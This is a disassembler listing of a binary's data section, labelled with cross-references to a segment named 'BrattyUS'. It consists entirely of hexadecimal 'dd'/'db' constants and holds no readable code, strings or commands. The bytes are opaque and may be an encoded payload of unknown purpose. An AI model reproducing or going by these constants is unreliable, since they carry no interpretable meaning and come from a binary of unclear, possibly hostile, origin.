0AC745454h, 545C935Ch, 3D3D3D54h dd 5429B7B7h, 54545454h, 54546C54h, 9694153Dh, 15941594h dd 94D1943Dh, 91D194D1h, 94919191h, 91919491h, 94919191h dd 9891D1D1h, 15A9A93Dh, 94ACAC15h, 94AC9491h, 94949491h dd 151594EDh, 0D194B4ACh, 0AC919494h, 94949194h, 299CD594h dd 54541954h, 541554ACh, 0C9C13DFEh, 0F9F5F1CDh, 0E9E5E1FDh dd 8D8985ACh, 0ACACECECh, 156C6C54h, 943D1529h, 15949415h dd 949C9494h, 15949494h, 153DAC3Dh, 0AC153D94h, 9494AC94h dd 3D3D3D3Dh, 3D153D15h, 94941554h, 94319494h, 0F3949429h dd 5C54749Ch, 5C545494h, 51945544h, 54514544h, 5C547471h dd 445C5474h, 85445C55h, 74199451h, 54945C54h, 55445C54h dd 45445194h, 949C5451h, 919471E9h, 91948491h, 3D13919Ch dd 91949CB4h, 94159194h, 71B13D91h, 9CB49CB4h, 9C55A484h dd 9485A484h, 9C94AC51h, 0B43D9494h, 0B1B1949Ch, 94943D71h dd 94949431h, 74943194h, 743D5454h, 3D545474h, 54D11515h dd 15155454h, 15151515h, 15156C15h, 15151515h, 549C5415h dd 545C5C5Ch, 545C545Ch, 159494ACh, 94949C15h, 94159494h dd 0A5A1AD15h, 0B4B43DA9h, 94119494h, 949C9C94h, 0B79C9C9Ch dd 54549C9Ch, 94E35C54h, 0ACB4AC94h, 2929B4ACh, 0ACB42929h dd 94119415h, 0AC90ACACh, 0D1541174h, 0B415ACD1h, 54549454h dd 742D5454h, 2 dup(0D1545454h), 0D3AC543Dh, 1F151554h dd 5454543Dh, 15943D54h, 94941594h, 94159415h, 9CAD9C9Ch dd 849CD5EDh, 0B43D9C3Dh, 3810B494h, 94943D94h, 94299C3Dh dd 9C94AC3Dh, 94942994h, 943D9494h, 94292994h, 153D1529h dd 9C94D13Dh, 0ACACB494h, 0B4B4B4ACh, 1394AC9Ch, 6C6C1313h dd 6C6C6C6Ch, 74546C6Ch, 0AC943D6Ch, 94ED3D94h, 315494B4h dd 13133D54h, 3D545413h, 0ACACAC94h, 6C6C7474h, 94545415h dd 0AC71ACD2h, 0B41906ACh, 9194D194h, 3D94949Ch, 0D1D194B7h dd 0ACEC9CD1h, 0DCB495DCh, 949C94ADh, 0DC159494h, 0DC74DCADh dd 0DCDC54ADh, 0DC95DCACh, 13541515h, 0DC549454h, 0DC94AC15h dd 15943DADh, 11941594h, 949C9CACh, 0ECECEC94h, 745C74B4h dd 74747474h, 74745454h, 153D546Ch, 0AC949494h, 94941194h dd 54549411h, 3DD19494h, 15949494h, 9C949429h, 94299494h dd 94292994h, 94292929h, 9429943Dh, 94949C94h, 29299429h dd 29949421h, 29299494h, 29292994h, 29B43D94h, 0AC942929h dd 3D9439ACh, 94549494h, 54942954h, 74546C6Ch, 15155C54h dd 54549494h, 54945454h, 5454D115h, 94545454h, 54945494h dd 94945494h, 54549454h, 94549454h, 54549494h, 94299494h dd 94949494h, 2E2E545Ah, 5454542Eh, 13135494h, 13131313h dd 6C2E6C2Eh, 2E2E2E2Eh, 94949494h, 0AC54296Ch, 94942994h dd 159494ACh, 94AC1329h, 0D1B44AACh, 6C74AC94h, 3D943DD5h dd 11699454h, 69111111h, 94699469h, 0B4699469h, 0A994943Dh dd 94299194h, 0A994ACA9h, 9194A9A9h, 989C9429h, 74949454h dd 2991A95Ch, 94919194h, 91A954A9h, 299494D1h, 546C5C5Ch dd 9194A9A9h, 91299194h, 6C912991h, 74949194h, 54D5ED54h dd 54D5D5D5h, 54949494h, 0D5545454h, 94F55454h, 9C2994A9h dd 94989C98h, 296C6C3Dh, 54542954h, 54547454h, 946C5454h dd 0B43DB43Dh, 94949494h, 94B4949Ch, 9C949C94h, 3D94B431h dd 9C949494h, 9494B43Dh, 943D949Ch, 119CB411h, 5AB494D1h dd 9C3DB1B1h, 98949194h, 11949494h, 94391194h, 94319111h dd 1194AC9Ch, 94941539h, 9C9CD594h, 9C949C94h, 9491943Dh dd 6 dup(9C94949Ch), 9494A09Ch, 94949C9Ch, 9C949C9Ch, 4 dup(9C9C9494h) dd 3E9C9C94h, 949C9C94h, 4 dup(94949494h), 949C949Ch, 9C949C94h dd 949C949Ch, 94949C9Ch, 9C9C949Ch, 9C949C94h, 9C94949Ch dd 9C589C94h, 9C949C94h, 9C94949Ch, 949C9C94h, 9194D194h dd 9194919Ch, 9411B49Ch, 3D3D3D9Ch, 9C2F94ACh, 3D9C943Dh dd 54155494h, 15545415h, 15545454h, 54545454h, 54155415h dd 9494943Dh, 15545474h, 6C909094h, 0B7943154h, 15157474h dd 6C6C3D2Eh, 4EB43D6Ch, 94945454h, 6CB75454h, 943D2A54h dd 0AC94B4B4h, 9CAC9494h, 94949C94h, 49941194h, 949C949Ch dd 1194743Dh, 743D5454h, 3D547474h, 0AC3D6CACh, 119405ACh dd 94119415h, 94949C51h, 94ACAC94h, 6C7474B4h, 6C6C6C6Ch dd 74AC6C6Ch, 6C6C1515h, 7454156Ch, 6CACB7B7h, 15545474h dd 3D8D9454h, 941194ACh, 94949C9Ch, 6C541594h, 54159494h dd 0AC859454h, 9494ACACh, 5454AC94h, 0ACAC3D94h, 94AC94ACh dd 94159494h, 9C949494h, 94AC3D94h, 5474153Dh, 106C5454h dd 6C486C6Ch, 986CA06Ch, 943D5454h, 0B49C74B4h, 0ACD874D8h dd 6C546C54h, 747415CAh, 74746C74h, 63541554h, 54545454h dd 94D87454h, 743D9C94h, 52547474h, 6C6C6C6Ch, 0ACADED94h dd 0B4D1153Dh, 546C6CB7h, 295C5C54h, 94945474h, 54545454h dd 9494AC3Dh, 94941594h, 3D3D1515h, 742E5494h, 0B4B46C6Ch dd 1395919Ch, 90B9585h, 95958502h, 9099509h, 0B95959Dh dd 3D94B495h, 991720B7h db 0B7h, 20h, 17h byte_3F8013 db 94h ; DATA XREF: BrattyUS:003DF414o dd 2EE9E1ECh, 0D72876D1h, 90902DD1h, 94D2D490h, 72D11554h dd 2E2E4767h, 58DF9C6Ch, 2 dup(0D1D1D1D1h), 0EE5133A9h dd 54ABD1E8h, 54E09CD1h db 0CFh, 54h, 2Eh byte_3F8047 db 71h ; DATA XREF: BrattyUS:003DF418o dd 39250D21h, 2929D1A4h, 0E58C8529h, 2D2D2D2Ch, 0A42D8C2Dh dd 0A5A5A4A5h, 253DD1A5h, 71A43939h, 0A5A42D25h, 0F1A4A5A4h dd 2B2B8294h, 0C1CD942Bh, 0A521C9C1h, 0C1F1D1C1h, 24C1F194h dd 0A5C12424h, 1DF51915h, 0D1011EF5h, 0FD2929D1h, 292929A5h dd 19FD1929h, 9519FD19h, 0D119FD19h, 19AD9519h, 1DD1192Dh dd 0D11DADD1h, 29D11DADh, 0A501011Dh, 101A5D1h, 8581912Dh dd 0D1D10DA5h, 0A5A4D1D1h, 51AD2D35h, 0A551ADA5h, 51A951A9h dd 901A4DEh, 0DE50A5A5h, 0DE0D50DEh, 0A21D29A4h, 5DA43DD7h dd 431A4D1h, 0A4D18D89h, 2539D0D0h, 0D00D2ADEh, 25252D2Dh dd 252D25D1h, 29D1D125h, 35353929h, 0D3939D1h, 252D0D39h dd 0A5A5DE2Dh, 0F1A5E9E9h, 9591A5A5h, 0D18B958Bh, 0A4A5D12Dh dd 0A5A5A5DEh, 253D15A5h, 35051D11h, 1211D19h, 0D092905h dd 1535316Dh, 0A4253931h, 0A5A53929h, 2929E5A5h, 0A91125F1h dd 290909F1h, 712A2939h, 21A52181h, 35812121h, 682DFD29h dd 2D2D2D31h, 21212D2Dh, 0C9ACB521h, 0DED0A1A5h, 81898989h dd 2CA522A4h, 89A5A43Dh, 0A4A4A489h, 8D35A4A4h, 0B9B9B9E5h dd 0F9B1DED1h, 0A5D95CBBh, 8D3599F9h, 0F95C3999h, 91EBE5FFh dd 196F758Dh, 0A48D8DD1h, 598D5D71h, 0A5A5A5DEh, 0A5A4AD8Dh dd 8DA08DA9h, 2E8D8D8Dh, 0A1291DA5h, 0D1E9B1A1h, 0C9D1E9E9h dd 0A5A5ADC9h, 0A4A5ADADh, 0A52D5165h, 2D292929h, 0A41D3C1Dh dd 0E9E9E9A1h, 9DA5A4E9h, 0EDDED1A4h, 0D1695555h, 153FDEDEh dd 0A4AD69A5h, 0D0D07979h, 0D0D0D061h, 4 dup(0D0D0D0D0h) dd 5F5B792Dh, 0AFD0451Fh, 0B3D17F73h, 3C2CA4A5h, 2D011529h dd 0DE2D2D2Eh, 0A53991A4h, 7D793939h, 0D041D051h, 0D1CDD141h dd 656565D1h, 0D0261A05h, 0A465A469h, 21879D6Dh, 65A5312Dh dd 0AB2BABABh, 35A53509h, 0D24A411h, 0D252F2Fh, 79DE2525h dd 0A4A4A50Dh, 462D0109h, 85A4A5A5h, 0D139DE91h, 9595D1D4h dd 99A49999h, 81959199h, 0E5DE95A4h, 3DA42C95h, 0EDA45105h dd 0EDED6DA4h, 0C5D1C12Eh, 21252129h, 20202139h, 0DE69C521h dd 0DE69D5F1h, 21A42121h, 0D7212121h, 0D7EDEDD0h, 21D0C5EDh dd 0D5F121F1h, 3D919199h, 184C7D25h, 897437D2h, 7575A5A5h dd 0DD3931A4h, 162D8FADh db 0A5h, 21h word_3F82C6 dw 0A1C7h ; DATA XREF: BrattyUS:003DF41Co dd 0A1A1EF2Fh, 5050A1A1h, 0A1A1A1A1h, 0A6A1A1A1h, 0A1FD97A7h dd 90907BCAh, 5656562Bh, 11C57A56h, 0A1062207h, 0A1A1A132h dd 0A1A1A156h, 0A1A1A153h, 0A1A1A1A1h, 230D92C7h, 0A10CA1D1h dd 2CA1A171h, 0A1A1A1A1h, 2E2E2E2Eh, 2EA12E2Eh, 2E2E2E2Eh dd 2EA12E2Eh, 722E2E2Eh, 0A1D45E17h, 0CEF8A1A1h, 989C0CC0h dd 902D3A3Ah, 0A1909090h, 0EA8282EDh, 0CE7E8A1h, 0A1A1A155h dd 0A1A1E405h, 0A1A1A1A1h, 0A1A1A10Dh, 2 dup(0A1A1A1A1h) db 3Ah byte_3F8355 db 55h, 0F5h, 2Fh ; DATA XREF: BrattyUS:003DF420o dd 0EAD1D181h, 0D191902Bh, 22E25A5Ah, 942E9190h, 0D1D1766Bh dd 2616D22Eh, 2E0B182Eh, 0E7C0E29Dh, 3A94549Bh, 512A5ACBh db 0D0h byte_3F8381 db 0D1h, 5Ch, 0D1h ; DATA XREF: BrattyUS:003DF424o dd 0DD5CD15Ch, 0D154DDDDh, 9A9C512Ch, 55555555h, 54555555h dd 54545454h, 2F705454h, 0D1DB24D1h, 0D1D1D1D1h, 0F545454h dd 0D1D1900Ch, 94949494h, 549C54D4h, 0D1D15454h, 0D2F39D1h dd 10D1945Ah, 54D111D4h, 0D1B21111h, 919595D1h, 0D1D19191h dd 0D13A7506h, 549454D1h, 54D11854h, 1C1C5454h, 941C2E54h dd 51949494h, 0D1C1E0D1h, 0D1D1D1D1h, 5454DA91h, 0D1D1D1D1h db 2 dup(0D1h), 55h byte_3F83FF db 0B9h ; DATA XREF: BrattyUS:003DF428o dd 2D2D9195h, 2D3D2DF5h, 0AB05292Dh, 0D12DB9D1h, 9211B911h dd 0E5111111h, 0E97BD17Bh, 0D4B9B9B9h, 0B9D4B95Ah, 0D0D9DDEDh dd 0B9B92DD1h, 0D1D15AB9h, 39D3D1D1h, 5C395CD0h, 5A39D0D1h dd 0D3B9582Eh, 0F5115AD1h, 11B51111h, 18118911h, 0D1110918h dd 392DD16Dh, 3E111111h, 0D03D3D19h, 0D17BD13Dh, 0D1D1D179h dd 0D13D3D61h, 0D33DD13Dh, 0B95A7B5Ah, 192FB9D4h, 112B4242h dd 2BC52B2Bh, 112BD02Bh, 0B9D0112Bh, 11D11111h, 11111111h dd 0D1BB1111h, 28030303h, 25585C28h, 92530ABh, 11191D05h dd 3030303h, 59640303h, 497B1155h, 710B2E39h, 4C7B322Eh dd 113204D7h, 11113211h, 0F15C1111h, 2CD1E52Ch, 2ECD0311h dd 0D3D3D111h, 0D111B9D3h, 11AD112Eh, 0B711AD11h, 3958A475h dd 0D9D4D1D4h, 0B7DE2626h, 2ED124DEh, 24342E2Eh, 0D12E574Dh dd 2E2E2E24h, 2E2E2E2Eh, 2E2E2EDCh, 4 dup(2E2E2E2Eh), 0BCBB2E2Eh dd 258DA2A1h, 3 dup(3030303h), 0D14D4D4Dh, 0D11125D1h dd 0D103D111h, 11110311h, 3031111h, 0D1D1D15Ch, 90D1D1D1h dd 39FA3990h, 2E5F0390h, 2C2C2E5Eh, 2D2D2D2Ch, 2EE9A439h dd 5A2929ADh, 39A52929h, 0F5A5D1F9h, 2DD4A9DEh, 2FD19051h dd 94338111h, 1C949494h, 1679BBA9h, 3B1E5809h, 5815CE3Eh dd 5D2FBE42h, 0B1B25990h, 21D1D258h, 11931191h, 877BD17Bh dd 2B2B2BD1h, 112E2B2Eh, 11111111h, 0D0B91111h, 2D2D112Dh dd 71B92D11h, 25254975h, 25252525h, 417B1111h, 2D962DB9h dd 0D1D11052h, 1A0DA15Ah, 901C1C11h, 26262626h, 0D1112626h dd 2AF72626h, 112EB9D1h, 1C1C1CD1h, 1C1C1C7Bh, 1111111Ch dd 552D011h, 7BD12DD1h, 2D2D7BD1h, 58522D52h, 0D1D12DB9h dd 0D12D2828h, 28D12828h, 28282828h, 2D294728h, 0D1D04D71h dd 0D1D1D152h, 5252A9ADh, 1C1C2ED1h, 0B9110Dh, 0D15AD011h dd 0B9D12BB9h, 2121D157h, 0D9D97D24h, 24D43D3Dh, 0D4E5E9D1h dd 212121D9h, 0D1242421h, 29ED2426h, 2B2B9195h, 3F3F3C2Bh dd 7BB9093Fh, 7B197B4Dh, 3C3CD43Ch, 5A2F3C3Ch, 0D5D13939h dd 0B90DDDD9h, 0A0A0A035h, 0A02E03A0h db 2Fh byte_3F8661 db 29h, 2 dup(2Eh) ; DATA XREF: BrattyUS:003DF42Co dd 2E2E2E2Eh, 29382E2Eh, 2 dup(2E2E2E2Eh), 2E2DA42Eh, 2E2E385Ch dd 2E2E90D0h, 2E5A2E2Eh, 2 dup(2E2E5A2Eh), 8C2E8C2Eh, 2E8C2E2Eh dd 2E2E8C2Eh, 592E2E38h, 2E2E242Dh, 3A5C2ED0h, 2E5C2E2Eh dd 5A2E2E2Eh, 2A2E382Eh, 2E2E2E2Eh, 0D1A52E2Eh, 0D89C2E38h dd 213D3925h, 0D12D2DD1h, 2ED0D1D1h, 2E2E2ED3h, 212E2E2Dh dd 2E2E38D9h, 2E2E2E2Bh, 2BD12E2Eh, 2B9A2B2Eh, 7FCDA1DEh dd 0D19390D1h, 272ED226h, 272E2E26h, 2E2E2627h, 0CDA1D026h dd 38A53A27h, 383839D1h, 0BBDDBB2Dh, 0E6C9BB2Dh, 3939D0A4h dd 2E2ED093h, 0D72E2E2Eh, 19191919h, 1919D119h, 0D12E5219h dd 18292919h, 2E282E28h, 2E2E2E28h, 2E54292Eh, 0BB38D1D1h dd 3D2E215Ch, 0D1D1D9D9h, 2E9416D1h, 2 dup(2E2E2E2Eh) dd 585AA42Eh, 0A5A3D9D5h, 5DDA5D9h, 0A5D0A331h, 0A5D9A558h dd 0A484D1DDh, 0BBD15ADEh, 85D12A5Ah, 2ED18D89h, 0D12E493Fh dd 5A29BBA5h, 0BBBBBBB9h, 25BB3ABBh, 52293239h, 0DE315239h dd 0E2E2E281h, 0E25AE2E2h, 0CA58BB5Ah, 812E38A4h, 2E2E39D9h dd 2E2ED92Eh, 2ED9D92Eh, 2E2ED938h, 582E2E2Eh, 0D9D9D9D9h dd 0D9D9D139h, 0A7382ED9h, 0EAE2D939h, 0E25A915Ah, 9CFA5A2Dh dd 0D1DE3A99h, 395221D1h, 2D113A5Ah, 0C1D1D150h, 0C1D1D531h dd 0A22ED531h, 0E22E2E2Eh, 0E2D1A4A4h, 0D13E5A91h, 383A3838h dd 3A3A3838h, 0A52E5839h, 3B3938D1h, 384D4DAFh, 5A09D021h dd 5A2F0252h, 2E2E2E5Ch, 0A838D7D0h, 0D0D25AD0h, 38D1C12Dh dd 2E583852h, 2E5AD138h, 2E2E2ED0h, 0E239352Fh, 542E2D5Ch dd 54542E54h, 2E545454h, 0D0445454h, 54525454h, 542E5454h dd 54545454h, 522ED154h, 2E2E542Dh, 38F12E2Eh, 0D1383838h dd 2F2F2F38h, 0D12D2ED1h, 505B50D6h, 5A505050h, 0D92D59C9h dd 6F5A29B9h, 293A6F6Fh, 252DD0D0h, 0D1385225h, 0E2C5E252h dd 52DDE2E2h, 3DA4A4D1h, 2D2E2E2Eh, 255A58E2h, 252591D1h dd 0D1D2D225h, 0D1D12E10h, 0D128D1D1h, 52434352h, 39D12828h dd 292E5E1Ah, 2E385454h, 2E2EDE30h, 3 dup(2E2E2E2Eh), 0D12ECD2Eh dd 2E942539h, 0A5A4A4B7h, 0AED13A2Eh, 3971D1D1h, 5CE25831h dd 2F2F7170h, 2FD1B12Dh, 5A21A5D1h, 58D45A25h, 0D1D1112Eh dd 0D1D038D1h, 33838D1h, 382F2F39h, 2E4BB92Dh, 5A58395Ah dd 1012ED1h, 2E2E2E01h, 2 dup(2E2E2E2Eh), 2C2E2ED0h, 2 dup(2E2E2E2Eh) dd 2E2C2E2Eh, 2 dup(2E2E2C2Eh), 2 dup(2E2E2E2Eh), 2E2E2C2Eh dd 2E2E2E2Ch, 81D138D1h, 81D0D3D0h, 0D3D338D1h, 38382E58h dd 0BBD5D52Dh, 2ED0D92Dh, 21BBD12Dh, 2EE23A29h, 2E52DDC9h dd 292E2E2Eh, 0B4152E01h, 91DE412Bh, 26262691h, 812EB126h dd 2E2E8899h, 0D1D1DD2Eh, 541DD1D1h, 61D16DD1h, 4D4D2E2Eh dd 0D92E905Ah, 35212D2Eh, 69192E05h, 5949792Eh, 8DB5A1ADh dd 0CDF9E591h, 3829DD2Eh, 39D1B9D1h, 2E2E312Eh, 0A9752E2Eh dd 2E892E52h, 0ED2E9DC1h, 0F1E1D12Eh, 0D92EC52Eh, 0D1D12D2Eh dd 5A2E520Dh, 5A525215h, 2E2E2E2Eh, 752E5269h, 4D382E52h dd 59524152h, 0D92E52ADh, 0E1529581h, 38C1CDF5h, 0DE5A52D5h dd 616D15DEh, 0D15D4D79h, 1652BD2Eh, 5AD02ED1h, 5A585ADEh dd 4D585ADEh, 5ADE5A4Dh, 152E5858h, 2ED11652h, 585ADE5Ah dd 2E52492Eh, 5A5A2E2Eh, 3 dup(5A5A5A5Ah), 0E92E5A5Ah dd 0AD4D4D4Dh, 2E0DDDC9h, 65111905h, 594175D2h, 4D2E52ADh dd 52D14D4Dh, 0D12E2E52h, 2E2E2E2Eh, 0D12E2E2Eh, 2ED1D125h dd 2F2F2F2Fh, 0D9E22F2Fh, 0E539A4A4h, 49D14A0Ah, 2 dup(2E2E2E2Eh) dd 2AA4A4B9h, 2D2D292Dh, 29D12938h, 0C5395A38h, 2E38DED3h dd 2E2E672Eh, 0A22C2CC9h, 0A4292929h, 2E2E2E2Ch, 4138382Eh dd 6FD1386Fh, 0D1D1D85Ah, 6FD99595h, 385AD52Eh, 292929D1h dd 0E5295029h, 0D9292950h, 38D95029h, 0A4505255h, 5AA638A4h dd 0D0AD2DA4h, 2 dup(54905490h), 0A42ACC90h, 2DD02D2Dh dd 38D13838h, 0DDDD252Dh, 1181D12Fh, 67C0C167h, 0D32DD3C1h dd 0C167C167h, 5A1881C0h, 2D915A58h, 94D9102Dh, 94A49439h dd 0A414912Eh, 505A2D39h, 58502E50h, 77585858h, 0C5123095h dd 58CC2C4Ch, 3588748h, 582D5AD2h, 7D105BD2h, 2 dup(7D696561h) dd 0D1696561h, 0D1692E7Dh, 65D12E69h, 7DD161D1h, 2D8163E2h dd 97D12DD9h, 2E2ED538h, 5D2E2E2Eh, 5D5DD15Dh, 585D58D1h dd 5D58D15Dh, 5D5D5D58h, 5D585DB3h, 5D5D58D1h, 5DD15D5Dh dd 2E97D15Dh, 38383838h, 38383829h, 2EDF2ED3h, 0A4DD2ED1h dd 2E2E5929h, 2E2E2EBEh, 71382D93h, 85B5A95Dh, 25C5F9EDh dd 900D3890h, 9DD1D138h, 0C580D190h, 2D2E2D90h, 0D121E22Eh dd 2E2EFA2Eh, 0D1D1D12Fh, 2F2F382Fh, 2F2F2F2Fh, 2F232F2Fh dd 232323D0h, 2E232323h, 9C292E39h, 5ED1292Dh, 5858D1A4h dd 2E052E58h, 2E3D2139h, 2E2E2E2Eh, 0E2BB382Eh, 51292E2Dh dd 2E2D9090h, 2E2E2E2Eh, 2E2E382Eh, 2E2E2E2Eh, 2E382E25h dd 2E902E81h, 0A4F75C2Dh, 0D190A42Eh, 902E8138h, 39215A29h dd 2 dup(3DA43DA4h), 2EE2D1D1h, 0D12ED1D1h, 90909051h dd 2E2E2E01h, 2E2EDDD5h, 0C42E2E2Dh, 9A662BA4h, 90389038h dd 0D13BD181h, 29813839h, 0D19090DDh, 2A59262Eh, 2A2A2A2Ah dd 902E38D1h, 2E2E902Eh, 2EF82E2Eh, 2E2E2E2Eh, 382E2E2Eh dd 3866A4A4h, 2E2ED525h, 2E2E585Ah, 2E2E2D2Eh, 2E585A2Eh dd 2E2C2E2Eh, 2E2E2E39h, 0D12E2C2Eh, 0D138A0C5h, 0D1D03838h dd 0D0585A39h, 0BB52BB38h, 0A2385BD1h, 0D02B645Ah, 64D1382Bh dd 0D1D12E58h, 0D1BED139h, 0D12E2EB9h, 21D12ED5h, 2E2E2121h dd 21202E2Eh, 2E2E2E21h, 2927D52Eh, 272E512Eh, 202E2727h dd 0D5212121h, 909090E8h, 27272EACh, 0B92EAA27h, 0D1D12DD1h dd 502B2B2Eh, 2ED15AA4h, 2EA32EA4h, 0BB2EA3BBh, 0A3BB2EA3h dd 0D72EBB2Eh, 2E2E2E2Eh, 0D12E2E2Eh, 542E5050h, 5A382E38h dd 382E5A38h, 3A895A5Ah, 25A552D1h, 0D1D1D5D5h, 0BBDDA4BBh dd 292DD52Dh, 904D2E2Eh, 90904A90h, 2EB8310Eh, 0D1D1B92Dh dd 0F5F581D1h, 0DA8500F5h, 95F5F503h, 0F509A0A0h, 3A2058DAh dd 0A05A5AF5h, 0D1E081D1h, 0D1A55A87h, 0D15A5887h db 0D1h, 0A0h, 3Ah byte_3F8D2F db 2Eh ; DATA XREF: BrattyUS:003DF430o dd 2ED1D364h, 2E642E64h, 0B9642E64h, 0B995B981h, 0B9A9B9FDh dd 2E3DB9C9h, 2E642EC4h, 2E642E64h, 11D13D64h, 52261126h dd 0D1D0BB6Ch, 2ED1D1D1h, 2C2E2CA4h, 5CD1D02Eh, 5A945A54h dd 0D12E2794h, 5AD1D1D1h, 0B9545C94h, 0B96C522Dh, 5AE9B9EDh dd 522DB994h, 0B9D1BB6Ch, 2E545AC9h, 2E642E64h, 81642E64h dd 0B9642E39h, 2E642E9Dh, 52642E64h, 2E2EC76Ch, 0D16C522Eh dd 5AD1D1D1h, 2E642E54h, 2 dup(2ED1D164h) db 64h, 0D4h, 0D1h byte_3F8DBB db 0B9h ; DATA XREF: BrattyUS:003DF434o dd 0D1D1D1D3h, 915AD63Ah, 522D9458h, 2ED154EDh, 28D154E5h dd 7DD1D08Bh, 54D1D124h, 0A42E2C71h, 2CC42ED9h, 2CD52E2Eh dd 2FD52E2Eh, 2F812E2Eh, 0D1812E2Eh, 2C35545Ch, 2F812E2Eh dd 2CD02E2Eh, 2F5C2E2Eh, 0D1812E2Eh, 641552D1h, 0D12E2F21h dd 0D22ED1D1h, 529C5819h, 0D5D12DACh, 71D1D1D0h, 0DDD1D1B9h dd 0AA29545Ch, 2FD1D088h, 2F3A2E2Eh, 2F992E2Eh, 2F522E2Eh dd 2FD12E2Eh, 2FDE2E2Eh, 2F5C2E2Eh, 0DD812E2Eh, 393AD33Ah dd 392E2C02h, 502E2C11h, 3ED2393Dh, 0DDD1D089h, 85D9A42Eh dd 742E2E2Ch, 0C1D1D113h, 0D19C4E39h, 2ED1D0D1h, 2EDC3AD1h dd 2E545891h, 2E9D545Ah, 2EDED9EAh, 0D5C527B8h, 0D539C42Eh dd 0A1D1D1D0h, 2E81D190h, 2DC511B8h, 2E812E2Eh, 0D1C511B8h dd 2E5467DEh, 2EC511B8h, 2ED1D12Eh, 2EC511B8h, 2E545A2Eh dd 2E54582Eh, 64C511B8h, 2E2E2CEDh, 2E6C522Eh, 2EDED12Eh dd 2E52D12Eh, 2E3AD12Eh, 2E58912Eh, 2E545A2Eh, 2ED1D02Eh dd 2E58912Eh, 2E545A2Eh, 2E6FDE2Eh, 2E98382Eh, 2E6FDE2Eh dd 2E5CD22Eh, 2E445A2Eh, 2E6FDE2Eh, 2E5CD22Eh, 2E445A2Eh dd 2E6FDE2Eh, 2E5CD22Eh, 2E445A2Eh, 2EDED12Eh, 2EC511B8h dd 2CC511B8h, 0CD812E2Eh, 9D19050h, 0C5D1D16Fh, 2ECD545Bh dd 0D194592Eh, 2EED642Eh, 75C511B8h, 0D52E2E2Bh, 2EC0A5D1h dd 2EC511B8h, 5C642E2Eh, 312F8C54h, 0DDD1D16Ch, 645CF03Ah dd 1D2E2C95h, 6CD19051h, 0C1D1D16Ch, 5285642Eh, 5BD12DACh dd 5859C19Ch, 52B9D490h, 0DD81D811h, 0D4D9A42Eh, 0D1D1D0D8h dd 952DA42Eh, 0C9D191C3h, 52841218h, 0F0F25ECh, 0D12ED190h dd 0E3D1D1D3h, 0D04DC42Eh, 0DAA3D1D1h, 3AD1D083h, 0DDD1D1B1h dd 0A4D1545Ch, 501339D9h, 76D6E13Dh, 65D1D1D2h, 0DDD1D080h dd 0D0D9A42Eh, 0F72D1D1h, 2EBBD190h, 0D1B9812Eh, 29503DB9h dd 2E392E2Eh, 2EBBD12Eh, 2 dup(2E5C812Eh), 292E812Eh, 0D3392E2Eh dd 2EBBD1D1h, 2E5C812Eh, 0C45C812Eh, 2990A1A1h, 0D2392E2Eh dd 2EBBD1BBh, 29C42E2Eh, 29392E2Eh, 0DD812E2Eh, 2EBB95BBh dd 0D139812Eh, 2DDD1552h, 2ED02E2Eh, 2D54582Eh, 2E5A2E2Eh dd 2954582Eh, 0D1812E2Eh, 2EBBD0BBh, 292E812Eh, 0D0392E2Eh dd 2E2ED1D1h, 2E25722Eh, 2939722Eh, 0F722E2Eh, 0D12ED190h dd 29297452h, 0D5522E2Eh, 0D1D4A5D1h, 432D545Ch, 0DDD1D09Eh dd 5CBBD1BBh, 0E42C2D54h, 19900F25h, 4ED19050h, 0D12E2E2Dh dd 0E41683A4h, 79900F3Dh, 35D19050h, 29D1D169h, 29912E2Eh dd 295A2E2Eh, 0A2EA2E2Eh, 29545AF0h, 3ADE2E2Eh, 0D19416D6h dd 2 dup(0D1D1D1D3h), 5B2D545Ch, 0DDD1D09Fh, 2D5CD1BBh dd 5C812E2Eh, 0E42C2D54h, 2C900F25h, 45812E2Eh, 292E2E2Ah dd 0BB392E2Eh, 81945CD1h, 0D02DA42Eh, 0D1121889h, 0D1BBD1BBh dd 5201C42Eh, 52D12DACh, 0DD81D511h, 0D4D9A42Eh, 50D1D3D5h dd 0C1D191C8h, 50DDAC52h, 7D7D53Dh, 2CD1D1D2h, 0DDD1D09Dh dd 0C4D9A42Eh, 0D890A17Dh, 0D1D1D09Ch, 0D1E288D1h, 2E98545Ch dd 0FC5C812Eh, 0C1D1D1E3h, 2B295458h, 2E812E2Eh, 0C539812Eh dd 649D9639h, 2C2E2C29h, 2CD22E2Eh, 2C2E2E2Eh, 0D52E2E2Eh dd 64DD545Ch, 0D02E2C29h, 17D1545Ch, 0C1D1D09Ah, 0D5C16C50h dd 0D1D4A5D1h, 28D1D1D5h, 280A2E2Eh, 2B092E2Eh, 0E5812E2Eh dd 0F1D19053h, 0CDCD642Eh, 1DD1D1DBh, 0A2D1D1D3h, 0DDD1D09Bh dd 98D9A42Eh, 27D1D09Bh, 27812E2Eh, 81812E2Eh, 0C47C7A39h dd 2890A391h, 0DB812E2Eh, 0B92D545Ch, 0DDD1D5D1h, 245CD0BBh dd 0B9812E2Eh, 0DDD1D098h, 0D1C5642Eh, 0DD2ED1BBh, 273D545Ch dd 0B5812E2Eh, 0AAD19052h, 0C1D1D160h, 2429642Eh, 28812E2Eh dd 5C812E2Eh, 1826F154h, 0C9D1D160h, 273BB1B9h, 0F812E2Eh dd 0C5D1D160h, 0D1962A39h, 0D0D1D1D3h, 0D921545Ch, 0C1D1D099h dd 24255458h, 2 dup(24D12E2Eh), 645C2E2Eh, 0DD2E2839h dd 27A41154h, 25812E2Eh, 88D19053h, 0C1D1D160h, 24D12E38h dd 0D5D12E2Eh, 0D1D4A5D1h, 24D1D1D5h, 24802E2Eh, 240A2E2Eh dd 27092E2Eh, 61812E2Eh, 5AD19053h, 0F1D1D161h, 5239642Eh dd 52D125ACh, 52D12DACh, 0DD81D511h, 10D0D5B9h, 0DDD1D094h dd 0D4D0D1B9h, 0D4D1D0F8h, 5AD1D3F8h, 0D458259Ch, 0B9D1D3E2h dd 0D191CFE9h, 521552D1h, 52D12DACh, 0DD81D511h, 2AD0D5B9h dd 0DDD1D095h, 0D4D072B9h, 0B9D1D0F8h, 0F191F113h, 0C1D1D1D5h dd 0D1D1D1F6h, 0C1C5A42Eh, 2A3D5458h, 25D12E2Eh, 0D0D19052h dd 2AD1D1D5h, 0C5812E2Eh, 982D545Ch, 64D1D095h, 0DD2E2A3Dh dd 0D0F6C1B9h, 2AD1D1D5h, 2A812E2Eh, 0C1392E2Eh, 2A315458h dd 3D392E2Eh, 2AD19052h, 9812E2Eh, 2AD19052h, 2A812E2Eh dd 2AD12E2Eh, 2AEA2E2Eh, 2A392E2Eh, 2AD12E2Eh, 11812E2Eh dd 2AD19052h, 0DD392E2Eh, 